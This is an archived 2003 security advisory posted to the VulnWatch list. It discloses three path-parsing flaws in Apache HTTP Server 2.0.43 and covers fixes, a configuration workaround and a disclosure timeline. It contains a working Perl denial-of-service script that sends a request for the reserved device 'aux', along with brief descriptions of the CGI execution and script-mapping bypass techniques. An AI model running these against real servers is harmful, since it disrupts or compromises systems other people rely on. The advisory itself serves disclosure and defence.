[VulnWatch] Path Parsing Errata in Apache HTTP Server

From: mattmurphy@kc.rr.com
Date: 01/22/03

  • Next message: Jeremiah Grossman: "[VulnWatch] TRACE used to increase the dangerous of XSS."
    From: "mattmurphy@kc.rr.com" <mattmurphy@kc.rr.com>
    To: vulnwatch@vulnwatch.org, news@securiteam.com, bugtraq@securityfocus.com
    Date: Wed, 22 Jan 2003 09:48:26 -0500
    
    

    Original Message:
    -----------------
    From: mattmurphy@kc.rr.com mattmurphy@kc.rr.com
    Date: Wed, 22 Jan 2003 09:00:58 -0500
    To: full-disclosure@lists.netsys.com
    Subject: Path Parsing Errata in Apache HTTP Server

    Path Parsing Errata in Apache HTTP Server

    ABSTRACT

    The Apache HTTP Server <http://httpd.apache.org/> powers a
    whopping two thirds of all internet web sites, offering such powerful
    features as SSI, pre-forked and multi-threaded MPMs, input and output
    filtering, advanced logging, dynamic actions, dynamic modules,
    reverse DNS, virtual hosting, and even SSL via a fully extensible
    interface. It operates on an incredible number of platforms, including
    nearly all major Unix variants, Novell Netware and Microsoft Windows;
    Apache has also been ported to cygwin.

    DESCRIPTION

    The Apache HTTP Server contains several flaws related to its path
    mapping routines that could enable an attacker to cause Apache to
    handle files incorrectly, cause a system-wide denial of service, or
    possibly execute arbitrary code.

    ANALYSIS

    Issue 1 (VU#979793):

    Exploitation of this condition leads to a remote denial of service against
    a Windows 9x system running Apache, and appears to be due to
    erroneous checks in the ap_directory_walk function. A denial of service
    can be caused with a web browser by requesting a reserved device
    such as "aux":

    --- Apache2-nuke.pl ---
    #!/usr/bin/perl
    use IO::Socket;
    if (@ARGV < 1 || @ARGV > 2) {
            print STDOUT "Usage: perl $0 <host> <port=80>";
            exit;
    }
    if (@ARGV == 2) {
            $port = $ARGV[1];
    } else {
            $port = 80;
    }
    $f = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$ARGV[0],
    PeerPort=>$port);
    print $f "GET /aux HTTP/1.0\r\n\r\n";
    --- Apache2-nuke.pl ---

    The Apache 2.0.44 release announcement incorrectly states that
    previous Microsoft patches eliminate this vulnerability. There are some
    devices on Windows platforms that will hang the system if opened with
    certain file permissions masks.

    Issue 2 (VU#825177):

    Exploitation of this condition leads to a remote compromise. This
    issue is also restricted to Windows 9x versions of Apache, and has the
    same underlying cause as the previously noted denial of service
    condition. It is related to CGI input redirection.

    Specifically, when POSTing to a CGI, the stdin stream points to the
    input form data. By sending a POST to "con.xxx" in a ScriptAlias'ed
    directory, your POST data *may* be executed by that interpreter.

    Issue 3 (VU#384033):

    Exploitation of this condition could lead to bypass of default script
    mapping behavior. This flaw impacts Apache on all platforms. This
    issue is best described with an example:

    http://localhost/folder.php/file

    Apache should parse 'file' as plain text -- that is, simply returning it to
    the browser. However, an incorrect check in Apache's mapping
    algorithms, causes the 'php' extension to be associated with this
    request. Rather than checking only the file's extension, Apache checks
    for extensions in any path member, stopping at the first.

    This is more of a weakness than a vulnerability, as exploitation only
    yields UID nobody if you allow uploading under the docroot *and* filter
    by filename only, in which case you have far more serious concerns
    than the exploitation of this issue.

    DETECTION

    These issues are believed to be specific to the 2.0 branch; Apache
    1.3.27 (and all other 1.x versions) are believed immune from these
    issues. Apache 2.0.43 and prior should be upgraded to the 2.0.44
    release, which will be available from
    <http://httpd.apache.org/dist/httpd>.

    WORKAROUNDS

    * I recommend that servers running Windows 9x be upgraded to a
    production environment (Windows NT, 2000, or XP, for example). This
    offers a solution to VU#979793, and VU#825177.

    * A configuration workaround is available for VU#384033. For any
    directories allowing uploads, add the following lines:

    <Directory "/var/apache/htdocs/uploads/">
    AllowOverride None
    Options -Includes -ExecCGI
    SetHandler default-handler
    </Directory>

    * All sites running Apache 2.0.43 and prior should be upgraded to
    2.0.44 if impacted by these issues.

    DISCLOSURE TIMELINE

    December 4, 2002: security@apache.org notified
    December 5, 2002: Confirmation response received from William
    Rowe, Jr. (wrowe@rowe-clan.net); auditing begins.
    December 5, 2002: cert@cert.org contacted
    December 5, 2002: Automated response from CERT/CC incident
    response.
    December 9, 2002: Follow-up received from William Rowe, Jr.
    indicates that cause of reserved device issue has been identified.
    December 10, 2002: Initial patch binaries received from William Rowe,
    Jr. (libapr.dll and libhttpd.dll). Fix for reserved device flaw confirmed,
    but dot-in-path attack remains.
    December 10, 2002: CERT/CC response received from Chad
    Dougherty; vulnerability IDs are assigned.
    December 10, 2002: Reply to Chad Dougherty indicating that precise
    details of VU#825177 will not be immediately disclosed.
    December 10, 2002: Reply to William Rowe, Jr. requesting
    confirmation of status and receipt of VU#384033.
    December 10/11, 2002: Series of e-mail communications to clarify the
    impacts/origins of VU#384033; source of issue is identified.
    January 20, 2002: Apache 2.0.44 released
    January 22, 2002: Public disclosure

    --------------------------------------------------------------------
    mail2web - Check your email from the web at
    http://mail2web.com/ .



    Relevant Pages